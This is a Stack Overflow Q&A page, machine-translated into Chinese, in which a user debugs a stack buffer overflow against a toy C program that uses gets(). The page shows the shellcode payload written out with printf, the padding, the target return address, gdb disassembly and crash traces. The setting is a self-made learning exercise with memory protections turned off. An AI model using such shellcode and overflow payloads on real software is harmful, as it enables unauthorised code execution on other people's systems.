【问题标题】:Hex Format Specifier producing unpredictable results in shellcode十六进制格式说明符在 shellcode 中产生不可预测的结果
【发布时间】:2014-09-28 09:47:20
【问题描述】:

我正在尝试将 shellcode 注入到我制作的接受用户输入的基本程序中。我的问题是,即使我已经正确排列了我的 shellcode,以便我能够重写堆栈中的返回地址,但正确的地址并没有存储在那个位置。我打印了我的 shellcode,然后是一些计算的填充,然后是我的 shellcode 在堆栈上的位置。

      $ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41 
      \x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80
      \xf4%025x\x5e\xf3\xff\xbf" | ./victim

我试图覆盖返回地址的地址是 0xbffff35e。然而,当我在 gdb 中运行它时,它会出现段错误,因为“5e”部分没有正确编码到我的堆栈中。

我在 gdb 中得到了这个:

    Program terminated with signal 11, Segmentation fault.
    #0  0xbffff365 in ?? ()

我的程序应该在 0xbffff35e 处执行指令,但它被写入了“65”,而不是“5e”字节应该在的位置。我正确使用了十六进制格式说明符,为什么会发生这种情况?除了 \x5e 十六进制字节

之外,其他所有字节似乎都正确写入

编辑: 这是我的受害者的代码。我要做的就是注入 shellcode,以便它打印出“ACCEPTED”,而不是到达打印“DENIED”的下一行

    void getPass() {
      char password[50];
      gets(password);
    }


    int main() {

      printf("Please enter your password: \n");
      getPass();
      printf("PASSWORD DENIED\n");
      return 0;

    }

我的受害者代码的反汇编

    (gdb) disas getPass
    Dump of assembler code for function getPass:
      0x080482bc <+0>:  push   %ebp
      0x080482bd <+1>:  mov    %esp,%ebp
      0x080482bf <+3>:  sub    $0x58,%esp
      0x080482c2 <+6>:  lea    -0x3a(%ebp),%eax
      0x080482c5 <+9>:  mov    %eax,(%esp)
      0x080482c8 <+12>: call   0x8049370 <gets>
      0x080482cd <+17>: leave  
      0x080482ce <+18>: ret    

 (gdb) disas main
 Dump of assembler code for function main:
     0x080482cf <+0>:   push   %ebp
     0x080482d0 <+1>:   mov    %esp,%ebp
     0x080482d2 <+3>:   and    $0xfffffff0,%esp
     0x080482d5 <+6>:   sub    $0x10,%esp
     0x080482d8 <+9>:   movl   $0x80b314c,(%esp)
     0x080482df <+16>:  call   0x8049510 <puts>
     0x080482e4 <+21>:  call   0x80482bc <getPass>
     0x080482e9 <+26>:  movl   $0x80b3169,(%esp)
     0x080482f0 <+33>:  call   0x8049510 <puts>
     0x080482f5 <+38>:  mov    $0x0,%eax
     0x080482fa <+43>:  leave  
     0x080482fb <+44>:  ret    

【问题讨论】:

  • 大多数 shellcode 都利用了未定义的行为。这样做的问题是它仍然是未定义的行为,并且除非为特定版本的“受害者”程序制作shellcode,否则它将无法工作。即使是受害者程序的重建也可能导致漏洞利用停止工作。
  • 您是否尝试在 SE(安全增强)版本的 Linux 上运行它?如果是这样,你永远不会成功。堆栈位置是随机的。
  • 不,我已经禁用了 ASLR 和 DEP。我已经完成了其他类似的缓冲区溢出漏洞利用,这些漏洞利用我现在的设置。只是这种情况似乎不起作用。
  • 哦,好的。 ./victim 是做什么的?
  • @BasileStarynkevitch 这个问题的重点使用过时的gets

标签: c printf exploit shellcode format-specifiers


【解决方案1】:

那个 printf 的输出是

[wally@lenovoR61 ~]$ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41\x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80\xf4%025x\x5e\xf3\xff\xbf" \
> | hexdump -C
00000000  e8 09 00 00 00 41 43 43  45 50 54 45 44 6e 59 c6  |.....ACCEPTEDnY.|
00000010  41 08 00 ba 08 00 00 00  bb 01 00 00 00 b8 04 00  |A...............|
00000020  00 00 0c 80 f4 30 30 30  30 30 30 30 30 30 30 30  |.....00000000000|
00000030  30 30 30 30 30 30 30 30  30 30 30 30 30 30 5e f3  |00000000000000^.|
00000040  ff bf                                             |..|
00000042

所以,从第 50 个字节开始,是这样的:

00000032        30 30 30 30 30 30  30 30 30 30 30 30 5e f3  |  000000000000^.|
00000040  ff bf                                             |..|
00000042

所以保存的ebp 和返回地址应该是一堆30s。 getPass() 的说明是:

getPass:
        pushl   %ebp
        movl    %esp, %ebp
        subl    $88, %esp
        leal    -58(%ebp), %eax
        movl    %eax, (%esp)
        call    gets
        leave
        ret

所以leave 将“恢复的”ebp 更改为 0x30303030,因为堆栈的那部分已被它覆盖。返回地址低于此,也是 0x30303030,至少在 32 位 x86 代码中。

我希望这始终会出现段错误,即使在 SELinux 上也是如此。


附录:

嗯,所需的地址似乎对我有用。为了设置它以便gdb 可以查看堆栈帧,我将数据写入一个文件并更改victim.c 以改为读取它:

$ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41\x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80\xf4%025x\x5e\xf3\xff\xbf" \
> >victim.txt

$ cat victim.c
#include <stdio.h>

void getPass()
{
    char password[50];
    gets(password);
}

int main()
{
    FILE *f = freopen ("victim.txt", "r", stdin);
    printf("Please enter your password: \n");
    getPass();
    printf("PASSWORD DENIED\n");
    return 0;
}
$ gdb victim
 ...
Temporary breakpoint 1, main () at victim.c:12
12      FILE *f = freopen ("victim.txt", "r", stdin);
(gdb) next
13      printf("Please enter your password: \n");
(gdb) 
Please enter your password: 
14      getPass();
(gdb) step
getPass () at victim.c:6
6       gets(password);
(gdb) bt
#0  getPass () at victim.c:7
#1  0xbffff35e in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) step
Cannot access memory at address 0x30303034

这表明它正在返回 0x30303030。你得到了什么?

【讨论】:

  • 感谢您的回复。我非常感激。但是当我将我的 shellcode 输入我的受害者时,我仍然对我如何得到一个“65”而应该有一个“5e”感到困惑。我做了 printf "...shellcode 和填充省略...\x5e\xf3\xff\xbf" 而不是“0xbffff35e”被存储在堆栈中,“0xbffff365”被存储。我确定返回地址不会被 0x30303030 覆盖,因为当我在 gdb 中运行代码时,它会尝试在地址 0x0xbffff365 处执行指令(这是它的段错误)。如果我可以将“65”更改为“5e”,我相信这将是固定的。
  • 为了澄清我在上面的评论中所说的,返回地址被 0x0xbffff365 覆盖,这会导致分段错误。问题不在于我是否正确对齐了我的 shellcode 字节,而是为什么写入了错误的字节(65 十六进制)来代替 5e 十六进制。好像十六进制格式说明符'\x'在这里造成了麻烦。
  • 另外我更新了我的帖子以显示我的 ./victim 代码的反汇编
  • @user3907641:我已经添加到我的答案中。
  • 在 gdb 中我得到了这个。我不太确定如何解释它,因为它包括 0xbffff365 十六进制和你得到的 0x30303034 数字。这对你来说如何?另外,非常感谢。 Program terminated with signal 11, Segmentation fault. #0 0xbffff365 in ?? () (gdb) where #0 0xbffff365 in ?? () Cannot access memory at address 0x30303034
猜你喜欢
  • 1970-01-01
  • 2015-12-31
  • 1970-01-01
  • 1970-01-01
  • 2017-09-09
  • 2017-09-16
  • 1970-01-01
  • 1970-01-01
  • 2021-01-07
相关资源
最近更新 更多